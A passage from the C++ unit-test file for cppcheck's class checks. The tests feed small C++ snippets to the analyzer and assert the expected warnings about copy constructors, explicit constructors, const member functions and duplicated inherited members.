settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other 